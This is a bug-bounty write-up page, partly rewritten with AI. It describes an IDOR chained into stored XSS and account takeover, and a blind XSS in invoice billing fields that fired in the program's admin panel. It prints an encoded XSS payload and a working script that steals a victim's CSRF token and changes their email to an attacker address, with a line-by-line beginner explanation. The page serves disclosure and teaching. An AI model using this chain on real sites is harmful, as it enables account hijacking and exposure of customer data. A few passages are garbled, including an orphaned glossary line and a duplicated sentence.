Skip to content
XSS Write-up Intermediate

Account takeover and blind XSS

An IDOR allowed the attacker to inject stored XSS into every user's account, enabling theft of CSRF tokens and account takeover. Separately, a blind XSS payload in billing fields executed in the admin panel, exposing customer invoices.

Tabahi Follow

Published on blog.witcoat.com

Bounty$3,500 View original

I’m writing my first bug bounty post, this is about some bugs I found in a private program on Hackerone.

Tabahi (@_tabahi), on blog.witcoat.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

This is a write-up of two bugs found in a private program on HackerOne. The researcher had already spent some time hunting in the main application, then moved to the PRO features to get more attack surface. Two of the bugs found there had a large impact: an IDOR that could be chained into stored XSS and account takeover, and a blind XSS that fired in the program's admin panel.

The PRO features were paid, and the application offered two payment methods: credit card and bank transfer. With bank transfer, an invoice was generated and emailed to the user, built from billing fields such as input---name,address etc. supplied by the user at billing time. That invoice flow is where the blind XSS lived.

Setup

  • A private HackerOne program, with an account on the application and access to its PRO features.
  • An XSSHunter account, used to catch out-of-band payload execution.
  • No special tooling beyond that is described.

Finding it

The IDOR

While working through the PRO features, the researcher found an IDOR that allowed creating an element x in every user's account. After reporting it, Bull suggested injecting JavaScript into that element. The researcher went back and put a payload into a text field of element x:

Text
'%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E

An alert popped up. The IDOR meant the element, and therefore the stored script, could be placed in every user's account remotely; the application had no CSP blocking external scripts, so a script could load from anywhere and run in the victim's session.

The blind XSS

When purchasing PRO features, the researcher chose bank transfer. The billing fields (name, address and similar) were used to generate a .pdf invoice that was emailed to the user. The researcher injected HTML elements into those fields to see whether the server would execute script in the generated PDF. Nothing happened there. Among the injected elements was also a Blind-XSS payload.

A few days later, browsing the XSSHunter account, the researcher saw that a payload had triggered on the program's admin panel. Besides generating the .pdf, the invoice was listed un-sanitised in the admin panel, so the billing fields were rendered there.

Exploitation

Step 1: store the payload through the IDOR

The element x text field accepted the encoded payload above. Because of the IDOR, the element could be created in any user's account, not just the researcher's own. When the element was rendered, the %22%3E closed the surrounding attribute and tag, and the injected <img src=x onerror=alert(document.cookie)> executed.

Step 2: chain it into account takeover

With script execution in every account and no CSP restricting external scripts, the researcher wrote a script that reads the victim's CSRF token from the email change page and then posts a new email address with that token. The proof of concept given to the team:

JavaScript
function stealEmailToken()
{
var fetchHash = new XMLHttpRequest();

var url = "https://--domain--/--path--/personal/update_email.html";
var datax;
var all_elements;
var vc_email_token='initial';

fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
{

datax = fetchHash.responseText;
var loot = document.createElement('html');
loot.innerHTML = datax;
all_elements = loot.getElementsByTagName( 'input' );
vc_email_token = all_elements[2].value;
alert('Stole your Email change Token: '+vc_email_token+' ...Tabahi');
//hack(vc_email_token);

}

}

fetchHash.open("GET",url, true);
fetchHash.withCredentials=true;
fetchHash.send();

}

stealEmailToken();

function hack(emailToken)
{

var HackAccount = new XMLHttpRequest();

url= "https://--domain--/--path--/personal/update_email.html";

HackAccount .open("POST",url, true);

HackAccount .withCredentials=true;

var data= 'AccountEmailForm%5BsEmail%5D%5Bfirst%5D=attacker%40attacker.com&AccountEmailForm%5BsEmail%5D%5Bsecond%5D=attacker%40attacker.com&AccountEmailForm%5B_token%5D='+emailToken ;

HackAccount .setRequestHeader('X-Requested-With','XMLHttpRequest');

HackAccount .setRequestHeader('Content-Type','application/x-www-form-urlencoded');
HackAccount .send(data);

}

stealEmailToken() fetches personal/update_email.html with withCredentials=true, parses the response into a detached HTML document, and takes the value of the third input element as the CSRF token. The hack() function then posts to the same page with AccountEmailForm[sEmail][first] and AccountEmailForm[sEmail][second] set to the attacker's address and AccountEmailForm[_token] set to the stolen token, using X-Requested-With: XMLHttpRequest and application/x-www-form-urlencoded. The researcher says the same chain could also invite the attacker as an Admin. The report was updated with the XSS and the combined impact.

Step 3: blind XSS in the invoice fields

The billing fields used for the bank transfer invoice were filled with HTML elements and a Blind-XSS payload. The PDF generation did not execute anything, but the invoice was also stored and displayed un-sanitised in the program's admin panel. The XSSHunter payload fired there, and the screenshot from that page showed around a thousand records of customer invoices exposed to the researcher.

xyzzzz.jpg
xyzzzz.jpg From the original on blog.witcoat.com

The image shows the XSS triggered in the name and address fields.

Root cause

Two separate failures. The IDOR let one user create an object (element x) in another user's account, so stored content was not scoped to its owner. The stored XSS came from that content being rendered without sanitisation, and the absence of a CSP meant an injected script could load and run freely. The email change form relied on a CSRF token embedded in the page, which same-origin script could read and replay, so the token did not stop script running in the victim's session.

In the invoice flow, user-supplied billing fields were written into the generated PDF and also stored and rendered un-sanitised in the admin panel. The PDF path did not execute the payload, but the admin listing did, which is what turned a stored value into blind XSS against staff.

Impact

Through the IDOR plus stored XSS, script could be stored in all accounts remotely and would execute as those users loaded it, allowing the attacker to take over all accounts: changing the victim's email address, or inviting the attacker as an Admin. This required the victim to load the affected content.

Fix

The team fixed both bugs within a few days. A bounty of $3500 was awarded for the first, and $3500 for the second. The report does not describe the code changes made.

Variants to test

  1. Object creation endpoints scoped by a user identifier. Try creating an object in another account by changing the owner parameter. A positive result is the object appearing in the other account.
  2. Stored fields rendered in admin panels. Submit HTML and a blind payload in billing, profile and invoice fields, then watch an out-of-band service. A positive result is a callback from an admin context.
  3. PDF and email generation paths. Inject HTML into fields used to build PDFs and emails. A positive result is script execution in whatever renders the output, or the raw value appearing unescaped in a web view.
  4. CSRF tokens readable by same-origin script. Check whether the token sits in a page the application serves to the authenticated user and whether a script can fetch it with credentials. A positive result is a token that can be read and replayed in a state-changing request.
  5. Missing CSP on pages that render user content. Look for absence of a policy restricting script sources. A positive result is an injected external script loading and executing.
From the original on blog.witcoat.com

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher spent some time looking for bugs in a private program on HackerOne. HackerOne is a website where companies invite researchers to test their systems and pay for the problems they find. After testing the main application, the researcher moved on to the paid PRO features, because paid features usually add new screens, new forms and new ways to send data, and every one of those is a possible way in.

Two of the bugs found there had a large impact. The first was an IDOR, which let the researcher create an object called element x inside every user's account. That object could carry a script, and the script ran in the browser of anyone who loaded it. Chained together, that meant taking over accounts. The second was a blind XSS: a script hidden in the billing fields of an invoice, which did nothing visible to the researcher but later fired inside the program's own admin panel, the internal page where staff manage customer records.

The PRO features were paid, and the application offered two payment methods: credit card and bank transfer. With bank transfer, an invoice was generated and emailed to the user, built from billing fields such as input---name,address etc. supplied by the user at billing time. That invoice flow is where the blind XSS lived.

The words you need before we start

A few ideas come up again and again, so here they are from zero.

  • Browser and page. When you open a website, your browser downloads a page made of HTML (the structure), CSS (the look) and JavaScript (the behaviour). JavaScript is a programming language that runs inside your browser, on your computer, with the permissions of the page you are looking at.
  • Cookie. A small piece of text a website asks your browser to keep and send back on every request. It is how a site remembers that you are logged in. If someone else gets your cookie, they can often act as you.
  • Token. A random string a site puts in a form or a page so it can check that a request really came from that page and not from somewhere else. A CSRF token is one of these: it protects against another site silently submitting forms on your behalf.
  • Request. Every time your browser asks a server for something (a page, an image, a form submission), it sends a request. A GET request asks for something; a POST request sends data, usually from a form.
  • API. A way for programs to talk to each other over the same kind of requests a browser makes. When a page loads your profile details without reloading, it is usually calling an API behind the scenes.
  • IDOR. Short for Insecure Direct Object Reference. It means the server lets you name an object by an identifier (a number, a name, an ID) and does not check that the object belongs to you. Like a hotel where room 12's key also opens room 13 because the lock only checks that the key is a key.
  • XSS. Short for Cross-Site Scripting. It means getting your own JavaScript into a page that other people will load, so it runs in their browser as if the site had written it. Stored XSS is when the script is saved on the server (in a comment, a profile field, an invoice) and served to everyone who views it later.
  • Blind XSS. The same idea, but you cannot see the result yourself, because the page that runs your script is one you have no access to, such as an internal admin panel. You plant the script and wait for a signal that it ran.
  • Without it, whatever a user types becomes part of the page.
  • CSP. Short for Content Security Policy. A rule a site can send to the browser saying which sources of script are allowed. With a strict CSP, an injected script that tries to load from an outside address is blocked.
  • PDF. A document format. A server can build one from data a user submitted, for example an invoice.
  • Admin panel. The internal website staff use to manage the service. It usually shows customer data and is not meant for customers.

Setup

The researcher used:

  • A private HackerOne program, with an account on the application and access to its PRO features.
  • An XSSHunter account, used to catch out-of-band payload execution. XSSHunter is a service that gives you a special script address; when that script runs anywhere, the service records where it ran and emails you. It is how you find out that a blind XSS fired.
  • No special tooling beyond that is described.

Finding it

The IDOR

While working through the PRO features, the researcher found an IDOR that allowed creating an element x in every user's account. In plain terms: the application had a feature that let a logged-in user create an object, and the request that created it did not check that the account it was being created in was the account making the request. So one user could create that object in somebody else's account.

After reporting it, Bull suggested injecting JavaScript into that element. The researcher went back and put a payload into a text field of element x:

Text
'%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E

Line by line, this is one string, and it is URL-encoded, which is why it looks like gibberish. Decoding it:

  • ' is a single quote. It is there to close whatever quote the page had opened around the value before inserting it.
  • %22 is the URL-encoded form of a double quote ". It closes the attribute the value was sitting inside.
  • %3E is the URL-encoded form of >. It closes the HTML tag the value was sitting inside.
  • %3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E decodes to <img src=x onerror=alert(document.cookie)>. That is an image tag whose source is x, which does not exist, so the image fails to load. When an image fails to load, the browser runs whatever is in onerror. Here that is alert(document.cookie), which pops up a box showing the page's cookies.

So the whole payload is: break out of the place the site put my text, then add a new HTML element that runs JavaScript when it fails to load. The alert is only a demonstration; the same trick can run any script.

An alert popped up, showing the text field was rendered as HTML. The IDOR meant the element, and therefore the stored script, could be placed in every user's account remotely. The application had no CSP blocking external scripts, so a script could load from anywhere and run in the victim's session. In other words, the injected script was not limited to what fit in the payload; it could pull in a bigger script from a server the researcher controlled.

The blind XSS

When purchasing PRO features, the researcher chose bank transfer. The billing fields (name, address and similar) were used to generate a .pdf invoice that was emailed to the user. The researcher injected HTML elements into those fields to see whether the server would execute script in the generated PDF. Nothing happened there. Among the injected elements was also a Blind-XSS payload.

Why try this at all? Because any field a user fills in and the server later displays somewhere is a candidate. The PDF was one place the value might be rendered; the researcher did not know yet where else it might end up. A blind payload is a bet that the value will be shown on a page the researcher cannot see, and XSSHunter is how the bet pays off: if the script runs, the service records it.

A few days later, browsing the XSSHunter account, the researcher saw that a payload had triggered on the program's admin panel. Besides generating the .pdf, the invoice was listed un-sanitised in the admin panel, so the billing fields were rendered there. That is the essence of blind XSS: the researcher never saw the admin panel, but the script did, and it reported back.

Exploitation

Step 1: store the payload through the IDOR

The element x text field accepted the encoded payload above. Because of the IDOR, the element could be created in any user's account, not just the researcher's own. When the element was rendered, the %22%3E closed the surrounding attribute and tag, and the injected <img src=x onerror=alert(document.cookie)> executed.

Why this matters: a stored XSS that only affects your own account is mostly harmless, because you can only attack yourself. Every time one of those users opens the page showing the element, the script runs in their browser, with their login.

Step 2: chain it into account takeover

With script execution in every account and no CSP restricting external scripts, the researcher wrote a script that reads the victim's CSRF token from the email change page and then posts a new email address with that token. The proof of concept given to the team:

JavaScript
function stealEmailToken()
{
var fetchHash = new XMLHttpRequest();

var url = "https://--domain--/--path--/personal/update_email.html";
var datax;
var all_elements;
var vc_email_token='initial';

fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
{

datax = fetchHash.responseText;
var loot = document.createElement('html');
loot.innerHTML = datax;
all_elements = loot.getElementsByTagName( 'input' );
vc_email_token = all_elements[2].value;
alert('Stole your Email change Token: '+vc_email_token+' ...Tabahi');
//hack(vc_email_token);

}

}

fetchHash.open("GET",url, true);
fetchHash.withCredentials=true;
fetchHash.send();

}

stealEmailToken();

function hack(emailToken)
{

var HackAccount = new XMLHttpRequest();

url= "https://--domain--/--path--/personal/update_email.html";

HackAccount .open("POST",url, true);

HackAccount .withCredentials=true;

var data= 'AccountEmailForm%5BsEmail%5D%5Bfirst%5D=attacker%40attacker.com&AccountEmailForm%5BsEmail%5D%5Bsecond%5D=attacker%40attacker.com&AccountEmailForm%5B_token%5D='+emailToken ;

HackAccount .setRequestHeader('X-Requested-With','XMLHttpRequest');

HackAccount .setRequestHeader('Content-Type','application/x-www-form-urlencoded');
HackAccount .send(data);

}

This is a lot of code, so let us take it piece by piece.

The first function, stealEmailToken(). Its job is to fetch the email change page as the victim and pull the secret token out of it.

  • var fetchHash = new XMLHttpRequest(); creates a request object. In a browser, XMLHttpRequest is the classic way for JavaScript to talk to a server without reloading the page.
  • var url = "https://--domain--/--path--/personal/update_email.html"; is the address of the page where a user changes their email. The --domain-- and --path-- are placeholders; the real values were removed from the published report.
  • var datax;, var all_elements; and var vc_email_token='initial'; are just variables, empty boxes to hold values later. The token starts as the word initial so it is obvious if nothing was found.
  • fetchHash.onreadystatechange=function () { ... } says: when the state of this request changes, run this function. Inside, if(fetchHash.readyState==4 && fetchHash.status==200) means: only continue when the request is finished (readyState==4) and the server answered successfully (status==200).
  • datax = fetchHash.responseText; stores the page's HTML as text.
  • var loot = document.createElement('html'); creates an empty HTML document in memory, not on screen. loot.innerHTML = datax; fills it with the fetched page. This is how the script can read the page's contents without showing it.
  • all_elements = loot.getElementsByTagName( 'input' ); collects every <input> element on that page, which is where forms keep their fields.
  • vc_email_token = all_elements[2].value; takes the value of the third input (counting starts at zero, so index 2 is the third). That is the CSRF token the email change form uses.
  • alert('Stole your Email change Token: '+vc_email_token+' ...Tabahi'); shows the stolen token in a popup, as proof.
  • //hack(vc_email_token); is commented out. The two slashes mean the browser ignores the line. The researcher left the next step switched off in the demonstration.
  • fetchHash.open("GET",url, true); prepares a GET request to that URL. The true means asynchronous: the page does not freeze while waiting.
  • fetchHash.withCredentials=true; is the crucial line. It tells the browser to include the victim's cookies with the request. Without it, the request would arrive as a stranger, and the page would not contain the victim's token. With it, the request arrives as the logged-in victim, because the script is running inside the victim's browser.
  • fetchHash.send(); actually sends it.
  • stealEmailToken(); calls the function, so it runs as soon as the script loads.

The second function, hack(emailToken). Its job is to use the stolen token to change the victim's email address to one the attacker controls.

  • var HackAccount = new XMLHttpRequest(); creates another request object.
  • url= "https://--domain--/--path--/personal/update_email.html"; is the same page, this time to submit to.
  • HackAccount .open("POST",url, true); prepares a POST request, which is how forms send data.
  • HackAccount .withCredentials=true; again includes the victim's cookies, so the server sees the request as coming from the logged-in victim.
  • var data= 'AccountEmailForm%5BsEmail%5D%5Bfirst%5D=attacker%40attacker.com&AccountEmailForm%5BsEmail%5D%5Bsecond%5D=attacker%40attacker.com&AccountEmailForm%5B_token%5D='+emailToken ; builds the form body. %5B and %5D are encoded square brackets, and %40 is an encoded @. Decoded, the field names are AccountEmailForm[sEmail][first], AccountEmailForm[sEmail][second] and AccountEmailForm[_token]. The first two are set to [redacted], and the third is the stolen token. The & separates the fields, exactly as a normal form submission would.
  • HackAccount .setRequestHeader('X-Requested-With','XMLHttpRequest'); tells the server the request came from JavaScript rather than a normal page load. Some applications check this header.
  • HackAccount .setRequestHeader('Content-Type','application/x-www-form-urlencoded'); says the body is in the same format as a normal HTML form, which is what the server expects.
  • HackAccount .send(data); sends it.

Why this works: the CSRF token exists to stop another website from submitting the form on your behalf. But here the script is not on another website. It is running inside the victim's own page, on the same site, so it can read the token and send it back. The token proves the request came from a page on the site; it does not prove the request came from the user. That is the gap the chain exploits.

Once the email address is changed to one the attacker controls, the attacker controls the account's email, which is how the takeover works. The researcher notes that the same chain could instead invite the attacker as an Admin. The report was updated with the XSS and the combined impact.

Step 3: blind XSS in the invoice fields

The billing fields used for the bank transfer invoice were filled with HTML elements and a Blind-XSS payload. The PDF generation did not execute anything, but the invoice was also stored and displayed un-sanitised in the program's admin panel. The XSSHunter payload fired there, and the screenshot from that page showed around a thousand records of customer invoices exposed to the researcher.

xyzzzz.jpg
xyzzzz.jpg From the original on blog.witcoat.com

The image shows the XSS triggered in the name and address fields.

Why this is serious: the script ran inside the program's admin panel, and the screenshot from that page showed around a thousand customer invoice records to the researcher. The screenshot from that page showed around a thousand customer invoice records to the researcher.

Root cause

Two separate failures.

The IDOR let one user create an object (element x) in another user's account, so stored content was not scoped to its owner. The stored XSS came from that content being rendered without sanitisation, and the absence of a CSP meant an injected script could load and run freely. The email change form relied on a CSRF token embedded in the page, which same-origin script could read and replay, so the token did not stop script running in the victim's session.

In the invoice flow, user-supplied billing fields were written into the generated PDF and also stored and rendered un-sanitised in the admin panel. The PDF path did not execute the payload, but the admin listing did, which is what turned a stored value into blind XSS against staff.

Impact

Through the IDOR plus stored XSS, script could be stored in all accounts remotely and would execute as those users loaded it, allowing the attacker to take over all accounts: changing the victim's email address, or inviting the attacker as an Admin. This required the victim to load the affected content.

The blind XSS fired in the program's admin panel, and the screenshot from that page exposed around a thousand records of customer invoices to the researcher. The report does not describe what an attacker could do with the admin session beyond that exposure.

Fix

The team fixed both bugs within a few days. A bounty of $3500 was awarded for the first, and $3500 for the second. The report does not describe the code changes made.

Variants to test

If you want to look for similar things in a program you are allowed to test, these are the same ideas in general form.

  1. Object creation endpoints scoped by a user identifier. Try creating an object in another account by changing the owner parameter. A positive result is the object appearing in the other account.
  2. Stored fields rendered in admin panels. Submit HTML and a blind payload in billing, profile and invoice fields, then watch an out-of-band service. A positive result is a callback from an admin context.
  3. PDF and email generation paths. Inject HTML into fields used to build PDFs and emails. A positive result is script execution in whatever renders the output, or the raw value appearing unescaped in a web view.
  4. CSRF tokens readable by same-origin script. Check whether the token sits in a page the application serves to the authenticated user and whether a script can fetch it with credentials. A positive result is a token that can be read and replayed in a state-changing request.
  5. Missing CSP on pages that render user content. Look for absence of a policy restricting script sources. A positive result is an injected external script loading and executing.
From the original on blog.witcoat.com

Glossary

  • Admin panel: the internal website staff use to manage the service and its customer data.
  • API: a way for programs to exchange requests and data over the same kind of connection a browser uses.
  • Blind XSS: cross-site scripting where the script runs on a page the researcher cannot see, such as an admin panel, and reports back through an external service.
  • Bounty: money a program pays a researcher for a valid bug report.
  • Browser: the program on your computer that loads and displays web pages and runs their JavaScript.
  • Cookie: a small piece of text stored by your browser and sent back to a site on each request, commonly used to keep you logged in.
  • CSP (Content Security Policy): a rule a site sends to the browser listing which sources of script are allowed to run.
  • CSRF token: a random value placed in a form or page so the server can check a request came from that page and not from another site.
  • GET request: a request that asks a server for something, such as a page.
  • HackerOne: a platform where companies run bug bounty programs and researchers submit reports.
  • HTML: the language that describes the structure of a web page, made of tags such as <img> and <input>.
  • IDOR (Insecure Direct Object Reference): a flaw where a server lets you name an object by an identifier without checking that it belongs to you.
  • Invoice: a document listing what was bought and what is owed, here generated from billing fields and emailed to the user.
  • JavaScript: the programming language that runs in the browser and makes pages interactive.
  • PDF: a document format used for invoices and other printable files.
  • POST request: a request that sends data to a server, usually from a form.
  • Private program: a bug bounty program that only invited researchers can take part in.
  • PRO features: the paid tier of the application, which adds extra screens and functions.
  • Request: a message your browser sends to a server asking for something or sending data.
  • Stored XSS: cross-site scripting where the malicious script is saved on the server and served to everyone who later views the affected page.
  • Token: a random string used to prove identity or to authorise an action.
  • URL encoding: replacing characters that are not allowed in a URL with % codes, such as %22 for a double quote and %3E for >.
  • XSS (Cross-Site Scripting): getting your own JavaScript into a page other people load, so it runs in their browser as if the site had written it.
  • XSSHunter: a service that gives you a special script address and records when and where that script runs, used to detect blind XSS.
  • XMLHttpRequest: the browser object JavaScript uses to send requests to a server without reloading the page.

More by Tabahi

View all

3 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.